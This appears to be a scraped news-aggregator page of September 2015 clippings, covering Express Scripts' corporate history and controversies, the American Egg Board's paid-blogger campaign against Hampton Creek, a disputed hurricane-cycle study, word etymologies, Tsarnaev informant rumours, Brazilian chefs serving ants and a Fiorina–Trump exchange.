In late December 2006, Express Scripts made a proposal to purchase Caremark. Express Scripts lost the race to acquire Caremark to CVS Corporation, which became CVS/Caremark Corporation on March 22, 2007.[7]
In October 2007, Express Scripts acquired ConnectYourCare, and now handles FSA, HRA and HSA accounts for companies such as Suntrust, Zions Bancorporation and Allegis.[8] However, Express Scripts divested ConnectYourCare in August 2012.[8][9]
On April 13, 2009 it was announced that Indianapolis based WellPoint had reached a definitive agreement under which Saint Louis based Express Scripts purchased WellPoint's NextRx subsidiaries for $4.675 billion.[10] Express Scripts, the United States third largest PBM, closed the transaction in December 2009.[11]
In April 2012, Express Scripts completed a $29.1 billion acquisition of Medco Health Solutions.[12] The Federal Trade Commission gave formal approval on April 2, 2012 after an anti-trust investigation.[12] The acquisition positioned Express Scripts Holding Co. as the largest pharmacy benefit manager, filling 1.4 billion annual prescriptions.[12]
Express Scripts has 30,000 employees worldwide.[13] Most employees in the St. Louis area are located in its new 220,000-square-foot building. Two other buildings for employees exist, along with a Technology Innovation Center, which houses a pharmacy. The company plans expansion to add another 1,500 employees over the next five years contingent on state and local tax incentives, with the new building a $56 million project that could start later in 2013, and be completed by early 2015.[11][13]
Drug Trend Report[edit]Published annually since 1993, the Express Scripts Drug Trend Report provides detailed analysis of prescription drug costs and utilization.[5][14] Now a web-based version, the Drug Trend Report is developed and published by the Express Scripts Research & New Solutions Lab with contributors from researchers, clinicians and others.[15] This type of research is designed to understand consumer behavior relative to healthcare benefits.[16][17]
Health Decision Science[edit]Health science is the study of how people make decisions, and how to help them make better ones. Upon the merger of Express Scripts and Medco Health Solutions, the company came up with its own approach to understand its members health concerns, which it has dubbed Health Decision Science. This involves looking at three scientific disciplines: behavioral science or ''consumerology'', clinical specialization, and actionable data.[18][19][20] Because of its position between pharmacies and health care plans, Express Scripts sees 1.4 billion prescriptions a year, and it uses this information as part of its research data to create better solutions for clients and patients.[21][22][23][24][25]
Controversy[edit]Fraud allegations[edit]On August 4, 2004, New York State Attorney GeneralEliot Spitzer filed a lawsuit against Express Scripts alleging that the company had kept tens of millions of dollars in drug rebates owed to the state. The suit was filed in the New York Supreme Court in Albany County.[26] The lawsuit further claimed that Express Scripts had overstated the cost benefits of switching to certain preferred medications. In 2008 the company settled the lawsuit, agreeing to pay $9.3 million to Pennsylvania and 28 other states to resolve claims of deceptive business practices. As part of the settlement, the company also agreed to change its business practices and pay up to $200,000 in reimbursement to patients.[27]
Information breach[edit]In October 2008, the St. Louis headquarters received an anonymous letter that contained sensitive information about 75 members.[28] The extortionist stated that they would release more of similar records if the company failed to pay an unspecified amount of money. A consumer class action lawsuit against Express Scripts was brought on by John Amburgy, a Missouri man, who accused the company of negligence in protecting customer records. The case was dismissed when Amburgy failed to show how he was directly affected by the breach.[29]
References[edit]^ abc"Express Scripts Holding". Fortune. 2014. ^Express Scripts Holding Company, Yahoo! Finance^ ab"EXPRESS SCRIPTS HOLDING COMPANY FORM 10-K". Retrieved 2013-11-20. ^"We Are Express Scripts : We Never Stand Still". Retrieved 2015-08-11. ^ abcdefghi"Express Scripts Inc.". Retrieved 2013-11-20. ^"Investor Relations - - Corporate Milestones". Retrieved September 29, 2012. ^"Express Scripts makes $26 billion bid for Caremark". Retrieved 2013-11-20. ^ ab"Express Scripts divesting ConnectYourCare unit". Retrieved 2013-11-20. ^"EXPRESS SCRIPTS HOLDING COMPANY FORM 8-K". Retrieved 2013-11-20. ^"Express Scripts 2009 10-K". Retrieved 2011-02-19. ^ ab"Express Scripts plans to add 1,500 jobs in north St. Louis County". St. Louis Post-Dispatch. June 20, 2013. ^ abc"Express Scripts First-Quarter Net Rose 39%, Helped by Acquisition". The Wall Street Journal. Retrieved 2013-11-20. ^ ab"Express Scripts plans to add 1,500 jobs in north St. Louis County". Retrieved 2013-11-20. ^"Generics brought down common drug prices in 2012: Express Scripts". Reuters. 2013-03-05. Retrieved 2013-11-20. ^"Spending on Basic Prescriptions Decreases". The Wall Street Journal. Retrieved 2013-11-20. ^Thomas, Katie (2013-03-18). "U.S. Drug Costs Dropped in 2012, but Rises Loom". The New York Times. Retrieved 2013-11-20. ^"Drug Trend Report". Retrieved 2013-11-20. ^"Alabama among most wasteful states in medical spending". Retrieved 2013-11-20. ^"Numbers, Numbers and More Numbers". The Wall Street Journal. Retrieved 2013-11-20. ^"Health Decision Science". Retrieved 2013-11-20. ^"How Big Data Can Catch Oxycontin Abusers and Bad Docs". Retrieved 2013-11-20. ^"Collaboration may improve medication adherence". Retrieved 2013-11-20. ^"Not taking your medication, or taking waaay too much? The data knows '...". Retrieved 2013-11-20. ^"Patient engagement's obstacle: human nature". Retrieved 2013-11-20. ^Herper, Matthew. "Does Medication Waste Cost The U.S. $418 Billion?". Forbes. Retrieved 2013-11-20. ^Raksha Shetty (2004-08-04). "Drug Benefit Company Accused of Fraud". Retrieved 2011-02-19. ^"Pennsylvania Attorney General Corbett Announces Multi-State Settlement With Express Sc... (HARRISBURG Pa. May 27 - One of ...)". 2008-05-27. Retrieved 2011-02-19. ^Vamosi, R. (2008, November 6). "Extortion used in express scripts database breach".^Vijayan, J. (2009, December 3). "No harm, no foul, says judge in express script data breach case"External links[edit]
Express Scripts - Express Scripts is a fraud | Glassdoor
Wed, 09 Sep 2015 15:52
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Prescription Drug Plan Scam by Express Scripts | Consumer Watchdog
Wed, 09 Sep 2015 15:51
Consumer Complaint
Companies Involved:
Express Scripts
My Express Scripts prescription plan forces me to purchase my prescription drugs EXCLUSIVELY from their company and they refuse to pay any portion of the cost if I source the drugs from another pharmacy. This enables them to charge any price they want without limitation. Consumers whose employers have contracted with Express Scripts have absolutely no protection from price goughing whatsoever. This creates a situation where you're paying for prescription benefits that you're not truly receiving and then Express Scripts is making even more money off of you by exclusively selling you drugs at uncontrolled, inflationary prices. Their website also hides the actual price of each drug until you complete a purchase transaction. Furthermore, their tactics to strong arm doctors into prescribing generic drugs demonstrate mafia-like agressiveness. The most frustrating element of this story is that current laws and regulatory measures seem to legally allow this kind of corporate scam to affect millions. Express Scripts claims to serve 36 million members. Those consumers have been robbed of their ability to choose a pharmacy of their preference based on best cost or superior service. Programs like this should be criminal rather than acceptable under the law. I'm mad as hell that no one is doing anything to limit such abuses in the insurance industry. In the future I'll vote for anyone who is willing to rein in the health care industry through better options for personally managing our own health care choices and the associated costs.
Investor Information - Investor Information - Our Company - -
Wed, 09 Sep 2015 15:50
Business OverviewExpress Scripts, Inc. is one of the nation's leading full-service pharmacy benefit management ("PBM") companies. The Company coordinates the distribution of outpatient pharmaceuticals through a combination of benefit management services, including retail drug card programs, Home Delivery services, formulary management programs and other clinical management programs. We also distribute a full range of injectible biopharmaceutical products directly to patients or their physicians, and provide extensive cost-management and patient-care services. We provide these types of services for clients that include health maintenance organizations, health insurers, employers, union-sponsored benefit plans, third-party administrators, workers' compensation and governmental health programs.
Founded in 1986, Express Scripts aligns its interests with those of clients and patients. Alignment of interests means that we make money when our clients and patients save money '-- when patients use more generics, choose lower-cost brand drugs and take advantage of our cost-effective Home Delivery services. Our legacy of independence means that our programs and original research benefit our clients.
Every day, we handle more than a million prescriptions through our networks of retail pharmacies and our Home Delivery facilities. On the receiving end are tens of millions of individuals who count on us and their plan sponsors to provide a sound pharmacy benefit today and into the future.
You may view our Corporate Overview PDF document here: Press ReleasesExpress Scripts Announces 2nd Quarter Results; Increases 2015 Guidance Range - 07/28/2015 - 4:11 p.m.ST. LOUIS, July 28, 2015 /PRNewswire/ -- Express Scripts Holding Company (Nasdaq: ESRX) announced 2015 second quarter net income attributable to Express Scripts stockholders of $600.1 million, or $0.8... Express Scripts Holding Company Announces Second Quarter 2015 Earnings Conference Call - 07/06/2015 - 5:05 p.m.ST. LOUIS, July 6, 2015 (GLOBE NEWSWIRE) -- Express Scripts Holding Company (Nasdaq:ESRX) announced today its intention to release its second quarter earnings on Tuesday, July 28, 2015 after the marke... Express Scripts Provides First Look at 2015 Public Exchange Pharmacy Trends - 07/01/2015 - 7:00 a.m.- Latest Express Scripts Exchange Pulse Report reveals new exchange enrollees in Q1 2015 were healthier and spent less on medications compared to exchange enrollees in Q1 2014, helping plans better ba... Express Scripts Elects Tim Wentworth to Board of Directors - 06/12/2015 - 5:00 p.m.ST. LOUIS, June 12, 2015 /PRNewswire/ -- Express Scripts Holding Company (NASDAQ: ESRX) today announced that its Board of Directors has elected Tim Wentworth to the Board. Mr. Wentworth is curren... Data provided by Nasdaq. Minimum 15 minutes delayed.
Ministry of Truth
US-appointed egg lobby paid food blogs and targeted chef to crush vegan startup | Business | The Guardian
Thu, 10 Sep 2015 14:09
The American Egg Board reacted in frustration to comments by TV show host Andrew Zimmern and articles on multiple websites about Hampton Creek. Photograph: Alamy Stock Photo
A government-controlled industry group targeted popular food bloggers, major publications and a celebrity chef as part of its sweeping effort to combat a perceived threat from an egg-replacement startup backed by some of Silicon Valley's biggest names, the Guardian can reveal.
Related:Government-backed egg lobby tried to crack food startup, emails show
The lobbyists' media counterattack, in possible violation of US department of agriculture rules, was coordinated by a marketing arm of the egg industry called the American Egg Board (AEB). It arose after AEB chief executive Joanne Ivy identified the fledgling technology startup Hampton Creek as a ''crisis and major threat to the future'' of the $5.5bn-a-year egg market.
A detailed review of emails, sent from inside the AEB and obtained by the Guardian, shows that the lobbyist's anti-Hampton Creek campaign sought to:
Pay food bloggers as much as $2,500 a post to write online recipes and stories about the virtue of eggs that repeated the egg lobby group's ''key messages''Confront Andrew Zimmern, who had featured Hampton Creek on his popular Travel Channel show Bizarre Foods and praised the company in a blog post characterized by top egg board executives as a ''love letter''Target publications including Forbes and Buzzfeed that had written broadly positive articles about a Silicon Valley darlingUnsuccessfully tried to recruit both the animal rights and autism activist Temple Grandin and the bestselling author and blogger Ree Drummond to publicly support the egg industryBuy Google advertisements to show AEB-sponsored content when people searched for Hampton Creek or its founder Josh TetrickThe scale of the campaign '' dubbed ''Beyond Eggs'' after Hampton Creek's original company name '' shows the lengths to which a federally-appointed, industry-funded marketing group will go to squash a relatively small Silicon Valley startup, from enlisting a high-powered public relations firm to buying off unwitting bloggers.
One leading public health attorney, asked to review the internal communications, said the egg marketing group was in breach of a US department of agriculture (USDA) regulation that specifically prohibited ''any advertising (including press releases) deemed disparaging to another commodity''.
Outgoing AEB chair and 2015 Egg Person of the Year Joanne Ivy (far left), pictured with Michelle and Barack Obama at the White House. Photograph: AEBTetrick called for the USDA to clamp down on the food lobby, as thousands of petitioners called on the White House to to investigate the USDA itself for ''deceptive endorsements''.
''This is a product that has been around for a very long time,'' the Hampton Creek founder said. ''They are not used to competition and they don't know how to deal with it.''
In statements, AEB's Ivy and a USDA official denied any wrongdoing. An agriculture department official said that it ''does not condone any efforts to limit competing products in commerce''.
The AEB contracted Edelman, the world's largest public relations company, to coordinate the attack. One passage within the email tranche suggests that AEB amended its contract with Edelman to include a section called ''Beyond Eggs Consumer Research''.
''Conduct qualitative/quantitative consumer research to pinpoint and prioritize areas of focus. For example, research will, ideally, provide actionable intelligence on what attacks are gaining traction with consumers and which are not so as to help industry calibrate level of communications response (if any) to ensure a consistent response strategy moving forward,'' the passage reads.
''Ads considered disparaging are those that depict other commodities in a negative or unpleasant light via either video, photography or statements,'' said attorney Michele Simon, of the law firm Foscolo and Handel, after reviewing the AEB emails. ''The entire contract [amendment] with Edelman violates this rule.''
Some of the web's biggest food blogs were unwittingly paid from the ''Beyond Eggs'' budget to write supportively about eggs as AEB executives privately expressed mounting frustration about Hampton Creek, whose high-profile backers include the Facebook backer Peter Thiel, billionaire investor Vinod Khosla and other Silicon Valley luminaries.
When one Edelman executive, Jamie Singer, advised that the board wait on ''an eventual and organic balancing of the media narrative'', Kevin Burkum, AEB's senior vice-president of marketing, shot back: ''Help us understand why the recommended course of action seems to always be sit back and do nothing?''
The TV chef, the unwitting bloggers and the bagel quiche recipeRelated:Just Mayo is just not mayo: FDA says eggless mayonnaise must change name
More recently, Hampton Creek has in fact faced its own PR woes with allegations of suspect science and hazardous work environments. And last month the US Food and Drug Administration warned the California startup that the name of its flagship product, Just Mayo, was misleading and and should be renamed, insisting an egg-less product should not be described as mayonnaise.
The emails reveal how AEB executives had grown increasingly frustrated about coverage of Hampton Creek, hailing the company as providing a high-tech and sustainable alternative to factory-farmed eggs.
The influential TV chef Andrew Zimmern, who wrote a blogpost on Hampton Creek titled 'Welcome to the Future', was the subject of long exchanges between officials at the egg board. Photograph: Travel ChannelIn an email an AEB executive noted a blogpost by Zimmern '' an influential TV celebrity '' that complimented Hampton Creek and described caged-chicken egg production as ''the poster child for everything farming and food systems shouldn't be''.
The AEB executive complained Zimmern's post was ''a new love letter'' to Hampton Creek and suggested sending the TV chef a study underwritten by the AEB to contradict his take. A long exchange discussed whether or not to respond to Zimmern's offer to host a bake-off between Beyond Eggs and hen eggs.
On behalf of the egg group, Edelman contacted high-profile food blogger and Food Network star Drummond, author of several top-selling cookbooks. Drummond did not agree to work on the campaign, the emails indicate. The group also sought out Grandin, another famous figure whose endorsement would have been valuable. Grandin, too, appears to have declined.
In 2013, the AEB bought ads from Google against Hampton Creek's name and other search terms including Tetrick's name and his chief product, Just Mayo, so that links to egg board-sponsored talking points about industrial farming would pop up alongside links to Hampton Creek. The AEB emailed about how to deal with Buzzfeed's Rachel Sanders, who reported on the ads, and others who followed up on the campaign, in the emails.
The AEB retained at least five bloggers and contacted many more during the period covered by the emails. The bloggers disclosed the egg group's advertising on their sites. The two bloggers who responded to the Guardian for this article said they were completely unaware that the sponsorships were part of a concerted effort against Hampton Foods.
Hemi Weingarten, author of the popular food blog Fooducate and an occasional columnist for the Huffington Post, published a post marked as sponsored by the AEB entitled ''10 Reasons to Love Eggs'' that including this sentence: ''At just $0.15 each, eggs are the least expensive source of high-quality protein per serving.'' This language is consistent with one of the American Egg Board's most regularly used talking points.
Weingarten said he knew nothing of the campaign against Hampton Creek and pointed out that his blog had published positive coverage of the company. ''As part of our ad sales activities we reach out to healthy brands and commodity boards to spend their ad dollars to reach our audience,'' Weingarten told the Guardian.
A fee schedule contained in email tranche shows the PR giant Edelman as listing the blog Recipe Girl receiving $2,500 for this bagel quiche recipe. Photograph: ScreengrabLori Lange, of the popular blog Recipe Girl, is listed by Edelman as receiving a fee of $2,500 for a bagel quiche recipe. Lange disclosed the post was sponsored. The Guardian emailed Lange for comment; she did not respond but did remove an AEB infographic that read in part: ''Today's hens are producing more eggs and living longer due to better health, nutrition and living space.''
Blogger Gaby Dalkin was paid $2,000 to include the AEB's ''Incredible Eggs'' talking points in a recipe for breakfast burritos, and Susan Whetzel of Doughmesstic included the language in her in her Italian Egg Frittata recipe, according to the emails. Both disclosed the posts were sponsored.
Whetzel said she, too, was unaware that the blogpost was considered part of a campaign against Hampton Creek by the AEB, and that she had adhered to the Federal Trade Commission's advertising guidelines by including a disclosure notice. ''It's obvious it's a sponsored post,'' she wrote in an email to the Guardian.
Dalkin did not respond but an email bounceback said she was out of the country.
The 'balance' of a lobby, the rise of a startup and the Egg Person of the YearHampton Creek Foods CEO Josh Tetrick has called for a congressional inquiry into lobbying against his company. A petition calling on the White House to investigate the USDA for, among other complaints, ''[p]aying for deceptive endorsements without disclosing their source'' and ''[l]obbying the FDA to go after Hampton Creek'' had reached more than 8,400 signatures as of Saturday. Photograph: Eric Risberg/APThe cache of 600 pages of AEB emails, first reported last week, was obtained by Ryan Shapiro, a Freedom of Information Act (Foia) expert at the Massachusetts Institute of Technology, and Washington DC-based Foia specialist attorney Jeffrey Light.
The messages show Ivy, who is set to leave the AEB at year's end after being named the industry's 2015 Egg Person of the Year, received many messages from egg producers and processors who make up the board's constituent members, are required by law to supply its budget and were evidently unnerved over the rise of Hampton Creek.
Ivy expressed a desire to push back at the positive media coverage the company would start to receive, from the pages of Forbes magazine to Buzzfeed and beyond.
''We know that shell egg producers are [...] feeling threatened by the introduction of this product,'' she wrote in a September 2013 email.
In a statement to the Guardian, Ivy said the AEB's efforts to ''balance existing media efforts'' were ''common'' practice and ''part of a larger business strategy''.
''While egg replacers have been around for many years, we recognize that the interest in this category has increased recently,'' she said. ''[I]n response, we bolstered our efforts to increase the demand for eggs and egg products through research, education and promotional activities.
''These activities, which are common within the consumer products industry, include continuing to work with industry thought-leaders, conducting a paid social media strategy to balance existing media efforts and liaising with partner organizations.''
However it is the process of targeting a perceived rival that could prove most controversial for the AEB, a statutory body paid for by industry but partly appointed by the US agriculture secretary. Paid-for or ''sponsored'' blogposts are not uncommon, but the notion that a quasi-governmental body funded a campaign to undercut a Silicon Valley food startup could raise eyebrows.
Tetrick, the Hampton Creek founder, called for a congressional inquiry on Thursday, saying that the agriculture department should be held responsible for the AEB's actions.
''They have gone way beyond what they are allowed to do,'' Tetrick said of the egg lobbying group.
He said the scale of the egg lobby's retaliation against his company's rise was ''hard to wrap your head around''.
''They play the same game over and over again,'' he told the Guardian on Friday. ''They say they are doing it to promote eggs, but it's got nothing to do with competition.''
Agenda 2030
Study: Are We Shifting to Fewer, Weaker Atlantic Hurricanes? | NBC 6 South Florida
Tue, 08 Sep 2015 14:02
A new but controversial study asks if an end is coming to the busy Atlantic hurricane seasons of recent decades.
The Atlantic looks like it is entering in to a new quieter cycle of storm activity, like in the 1970s and 1980s, two prominent hurricane researchers wrote Monday in the journal Nature Geoscience.
Scientists at Colorado State University, including the professor who pioneered hurricane seasonal prognostication, say they are seeing a localized cooling and salinity level drop in the North Atlantic near Greenland. Those conditions, they theorize, change local weather and ocean patterns and form an on-again, off-again cycle in hurricane activity that they trace back to the late 1800s.
Warmer saltier produces periods of more and stronger storms followed by cooler less salty water triggering a similar period of fewer and weaker hurricanes, the scientists say. The periods last about 25 years, sometimes more, sometimes less. The busy cycle that just ended was one of the shorter ones, perhaps because it was so strong that it ran out of energy, said study lead author Phil Klotzbach.
Klotzbach said since about 2012 there's been more localized cooling in the key area and less salt, suggesting a new, quieter period. But Klotzbach said it is too soon to be certain that one has begun.
"We're just asking the question,'' he said.
But he said he thinks the answer is yes. He says the busy cycle started around 1995 and probably ended in 2012; in 2005 alone, Katrina, Rita and Wilma killed more than 1,500 people and caused billions of dollars of damage. The quiet cycle before that went from about 1970 to 1994 and before that it was busy from 1926 until 1969, he said.
Klotzbach doesn't take into account where a storm hits, but how strong storms are and how long they last regardless of whether they make landfall. So even though no major hurricane hit the United States in 2010, its overall activity was more than 60 percent higher than normal. And just because it's a quiet season doesn't mean a city can't be devastated, Klotzbach said. Hurricane Andrew hit South Florida in an otherwise quiet 1992 season as a top-of-the-scale storm.
Other scientists either reject the study outright or call it premature.
"I think they're pretty much wrong about this,'' said MIT meteorology professor Kerry Emanuel, who also specializes in hurricane research. "That paper is not backed by a lot of evidence.''
Emanuel doesn't believe in the cycle cited by the researchers or the connection to ocean temperature and salinity. He thinks the quiet period of hurricanes of the 1970s and 1980s is connected to sulfur pollution and the busy period that followed is a result of the cleaning of the air. And Jim Kossin of the National Oceanic and Atmospheric Administration said cooler water temperatures earlier this year might be due to Atlantic dust, and August temperatures there have risen.
Another NOAA scientist, Gabriel Vecchi, said while there seems to be signs of a change in the circulation of the Atlantic, it's far too early to say that the shift has happened.
"So what happens in the next few years is going to be very exciting to watch as it may help settle or at least refine some intense scientific debates,'' Vecchi said in an email.
Published at 1:03 PM EDT on Sep 7, 2015
Copyright Associated Press
Words Matter
etymology - Where did the phrase "batsh*t crazy" come from? - English Language & Usage Stack Exchange
Thu, 10 Sep 2015 05:25
I started to type up an answer summarizing several theories about its origin and first use, but then I found that since the last time I tried to look it up, the Oxford English Dictionary has in fact added an entry for this term (in the online edition), along with some helpful citations. Turns out the phrase didn't originate with Hunter S. Thompson, or with Kubrick's Col. "Bat" Guano in Dr. Strangelove.
Here are the definitions provided by the OED, along with the earliest citation for each:
A worthless or contemptible thing; rubbish, nonsense. Cf. bullshit n. (1950 M. Shedd Return to Beach ii. 156: "I felt the minute hand of that bat shit of a Judas clock stand up to me.")Austral. Used in similative phrases as the type of something dull or uninteresting. Chiefly in boring as batshit. (1964 G. H. Johnston My Brother Jack iv. 58: "He would describe somebody as being 'as silly as a two-bob watch' or 'dreary as bat-shit'.")Crazy, mad, insane. Cf. bats at bat *n*. 1 b. Orig. and freq. in to go batshit (cf. to go ape-shit at ape n. Additions). (1971 W. Calley Lieutenant Calley 104: "Most of America's males were in Korea or World War II or I. They killed, and they aren't all going batshit.")As an intensifier, esp. in batshit crazy. (1993 Toronto Life Aug. 6/4: "His mug is emblazoned with the words: full-blown bat shit crazy.")So, while batshit crazy certainly does seem to be influenced by the expression bats in the belfry as you suggest, its first meaning, in use by 1950, was simply a variant of bullshit. This use continued and overlapped with the "crazy" meaning: further citations are given for definition #1 from Dean Koontz's 1985 novel Door to December and from Seattle Weekly in 2002. Also, batshit as a standalone word meaning "crazy" appears to be older than the two-word phrase batshit crazy, at least as far as the written record shows.
There's anecdotal evidence scattered around the internet, like in this Straight Dope Message Board discussion, that definition #1 was in common use in the US military during the 1950s. Someone else points out there that Hunter S. Thompson may have picked up the term in the Air Force, from which he was discharged in 1958. Apparently he used the terms batshit, batshit crazy, and/or batshit insane in Fear and Loathing in Las Vegas and/or Fear and Loathing on the Campaign Trail '72, but I don't have either book handy to check, and none of the claims I've found includes a full quotation.
Where the expression 'throw shade' comes from
Thu, 10 Sep 2015 13:38
Noah Murray/USA Today/ReutersRihanna shading with her eyes at a Nets game. I live.
The expression to "throw shade" at someone or "throwing shade" has seeped into mainstream culture in a big way, so it is time to talk about where it came from and what it means.The term "throwing shade" comes from black and Latino gay communities.
The term's first significant step into straight culture was in the 1990 documentary about young, black, and Latino drag queens in New York City, "Paris is Burning."
The central characters explain their culture and guide you through the underground world of parties and drag balls.
In one scene, a queen named Dorian Corey explains what "shade" is.
"Shade is, I don't have to tell you you're ugly, because you know you're ugly," she says.
When someone insults you directly, that's called a "read." For example, if I were to tell you that your glasses are ugly. Point blank. That's a read. Reads can be long or short.
"Shade" comes from reading, as Corey explains.
If I were to say in a terribly condescending voice, "Oh honey, I'm so glad you saved up to buy those glasses," that's blatant shade. I didn't insult the glasses, or you, directly. It's implied by my voice and the context of what I said. You know they're ugly.
Sometimes people don't get that they're being "shaded" '-- this is always sad.
To "throw shade" simply means you've said something shady to someone. If you want an example of someone who throws perfect shade in every way, that would be pop star Rihanna. She can shade you with her eyes.
Watch Dorian Corey explain it in "Paris is Burning" below:
Local cops suspect Tamerlan Tsarnaev was an FBI informant, according to Globe columnist | Privacy SOS
Tue, 08 Sep 2015 03:35
There's a remarkable statement buried at the bottom of Boston Globe columnist Kevin Cullen's farewell to the soon-departing special agent in charge of the Boston FBI office, Vince Lisi. According to the law enforcement friendly Cullen, Lisi was uncharacteristically open during their interview. "Lisi is the most candid FBI leader in Boston, ever," Cullen writes.
But the friendly goodbye column closes with reporting that strikes a vastly different tone:
For the record, Lisi denied that TamerlanTsarnaev, killed in a firefight with Watertown police, was an FBI informant. He also denied that IbragimTodashev, a suspected accomplice of Tsarnaev in a triple murder in Waltham, was an FBI informant.
Todashev was shot dead by an FBI agent in Florida two months after the Marathon bombings, after he allegedly attacked the agent and a Massachusetts state trooper.
That I had to ask the question '-- and that there are others in law enforcement who suspect that one or both were FBI informants '-- suggests whoever replaces Vince Lisi has their work cut out for them. Like statutes, candor has its limitations.
Talk about burying the lede.
Suspicions have long swirled in Boston about the true nature of TamerlanTsarnaev's relationship with the FBI, dating back to at least 2011. In March 2014 the defense team for Tamerlan's younger brother filed a brief in federal court asserting that the FBI had tried to recruit the elder Tsarnaev. The FBI has always denied that Tamerlan ever worked for them in any capacity as an informant. In response to the Tsarnaev defense motion, the DOJ reported that it could discover "no evidence" to support the claim that the Bureau approached Tamerlan with such a request.
But despite these denials, the rumors Globe columnist Kevin Cullen reports do not constitute the first public questions government officials have raised about the FBI's conduct'--or honesty'--in this case.
Back in October 2013, Senator Chuck Grassley wrote the FBI a public letter asking, among other questions, whether Tamerlan was ever approached to inform for the FBI'--and if not, why not. Grassley's letter was apparently prompted by concerns brought to the Iowa republican by Cambridge law enforcement whistleblowers.
Among those whistleblowers may have been an MIT police officer who was on duty the night officer Sean Collier was killed on campus. The officer later told local reporters that he and other MIT cops suspected the FBI knew where Tamerlan was that fateful night, and that the bomber was under FBI surveillance. (This is notable in part because the FBI's official narrative states that the Bureau did not know who the brothers were until much later, after a firefight in Watertown that ended with Tamerlan's death and Dzokhar's escape.)
Watertown police chief Ed Deveau has since publicly questioned the FBI's conduct that week, suggesting that had the bureau recognized the man they'd previously investigated, Collier would be alive and the shootout in his town never would have happened.
Rumors about Tamerlan's involvement with the FBI are nothing new. Despite having paid very close attention to the case over the past few years, however, I've never heard that IbragimTodashev, the man killed by FBI agents in Orlando just a month after the marathon attacks, could have also been an informant. During the Tsarnaev trial, Todashev's mother in law stood outside of federal court in Boston holding a sign emblazoned with a photo of her deceased son in law, along with the words "I am dead because I knew the Tsarnaevs. I knew the truth." (Read much more about the strange case of the Todashev killing here, here, and here.)
Russian American journalist MashaGessen wrote a book about the Tsarnaev brothers, in which she asserts that "the explanation that best fits the facts" in the case is "a cover-up." Upon the publication of Gessen's book in April 2015, none other than former DHS head Janet Napolitano took to the New York Times opinion pages to slam the author as a conspiracy theorist. But according to local gumshoe Kevin Cullen, there are plenty of local cops in the Boston area who think there's something to that theory.
And in a few weeks, the Hollywood film about the Boston FBI's most infamous informant ever, Whitey Bulger, airs in move theaters nationwide.
Brazil's top chefs turn to Amazonian insects for new menu
Thu, 10 Sep 2015 07:01
An Amazonian ant served on a pineapple cube at S£o Paulo's D.O.M restaurant. Photograph: Rubens KatoWhen people think of an ant in the kitchen, it is probably of an uninvited little insect painstakingly transporting food remains to its colony. But this concept might soon change.
Brazilian top chefs are leading a gastronomic revolution by including bugs and other Amazonian ingredients, cooked with pioneering techniques, into their sophisticated menus, in a move that acknowledges the value of Brazil's native food culture.
As with Ferran Adria's molecular gastronomy revolution in the 90s, or Noma's flowers and uncommon plants, this could eventually be imitated and lead to a wider use of insects in the human diet.
Alex Atala, chef and owner of S£o Paulo's D.O.M., ranked the ninth best restaurant in the world, was the first to break the unwritten rules of high-end gastronomy when he served a raw Amazonian leaf-cutter ant on a pineapple cube as one of the desserts from his $200 tasting menu.
Atala, a passionate researcher of Brazil's Amazonian food, discovered edible ants when he traveled to S£o Gabriel das Cachoeiras, a remote region in the Amazon state where experts say natives have been consuming insects ''from time immemorial''.
FacebookPinterest Chef Alex Atala shows off his golden Amazonian ants over a coconut meringue. Photograph: Rubens Kato''An old woman came to me and offered me a bowl of ants. I found the taste amazing, similar to ginger,'' says the double Michelin-starred chef and co-founder of Instituto AT, an organisation that works with small-scale food producers to help them be sustainable.
The home of the antsAtala's encounter with creepy-crawlies in S£o Gabriel das Cachoeiras was not a coincidence. Bordering with Colombia and Venezuela, this is considered one of the richest municipalities on earth for ethnic diversity, according to Almir Von Held, a scholar working for Brazil's National Indian Foundation (FUNAI, in Portuguese). ''There are over 20 indigenous groups and many consume ants, as insects provide valuable and healthy animal protein'', he says.
''We are still missing a reliable theory to explain when the consumption of ants started in Brazil. But the S£o Gabriel das Cachoeiras' region is probably one of the places where all this started, much earlier than when the colonisers arrived to America,'' says Von Held, who has worked for more than 35 years researching Brazil's indigenous groups and has spent several years living with Brazilian native's tribes in far-off territories.
''I saw there the Baniwa tribe consuming raw ants, and they also cook them. Originally, they were eating them only when they were with members of the clan, or in private if a non-native was present, because they felt shame. But now that ants are becoming popular in urban areas they do not hide anymore.''
FacebookPinterest A 'farofa de i§a', a toasted manioc flour with queen ants' abdomen. Photograph: Heriberto AraºjoDisgust towards eating insects in South America, where many associate their consumption with poor populations, probably originated in Western societies. Elsewhere, however, their consumption is much more common: in China, for instance, scorpions are served as snacks in brochette, while in Mexico roasted crickets fill tacos and season guacamole.
This lends itself to a gastronomic heritage sometimes linked with the fact that, in the past, some societies had limited access to animal protein from beef or poultry. In a world now dealing with the challenges of a fast growing population, the old solution of eating insects may well reappear.
In a landmark report in 2013, the Food and Agriculture Organisation (FAO) has argued that eating bugs was both healthy and environmentally friendly. ''On average, insects use just 2kg of feed to produce 1kg of insect meat. Cattle, at the other end of the spectrum, require 8kg of feed to produce 1kg of beef,'' the document stated. It identified 1,900 insect species currently consumed by humans worldwide.
The ant burgerFor those reluctant to eat insects on their own, S£o Paulo's restaurant scene is offering a soft landing experience. The burger bar Meats, founded by the 26-year-old Brazilian chef Paulo Yoller, offers a fat-free meat burger seasoned with vinaigrette of ants.
FacebookPinterest Brazilian chef Paulo Yoller prepares a vinaigrette made with Amazonian ants for his innovative burgers at ''Meats'', in S£o Paulo. Photograph: Heriberto Araºjo''Here in Brazil most chefs copy what is done in Italy, Spain or France, but I believe in genuine Brazilian gastronomy. This is why I combine aboriginal food ingredients with fast food recipes'', says Yoller, who regularly makes trips to Amazonian regions in search of new ideas.
Ants are far from being commercialised in Brazil and it is still too soon to say if they will become a mainstream ingredient in local diets. But the ant recipes proposed by Yoller and Atala have quickly captured the attention of S£o Paulo's media and public, with queues of up to two hours on Friday and Saturday nights for a table at Yoller's restaurant.
Real News
Colbert - meh
VIDEO-Carly Fiorina Responds to Comments Donald Trump Reportedly Made About Her Physical Appearance | Video |
Thu, 10 Sep 2015 13:43
Republican presidential candidate Carly Fiorina responded Wednesday night to comments Donald Trump reportedly made about her physical looks.
A Rolling Stone profile of the real estate tycoon quoted him taking a shot at the former Hewlett-Packard CEO's appearance.
''Look at that face!'' Trump reportedly said. ''Would anyone vote for that? Can you imagine that, the face of our next president?!''
Appearing on the Fox News Channel, Fiorina responded.
''I think those comments speak for themselves,'' Fiorina said. ''Honestly, Megyn, I'm not going to spend a single cycle wondering what Donald Trump means.''
''But maybe, just maybe, I'm getting under his skin a little bit, because I am climbing in the polls.''
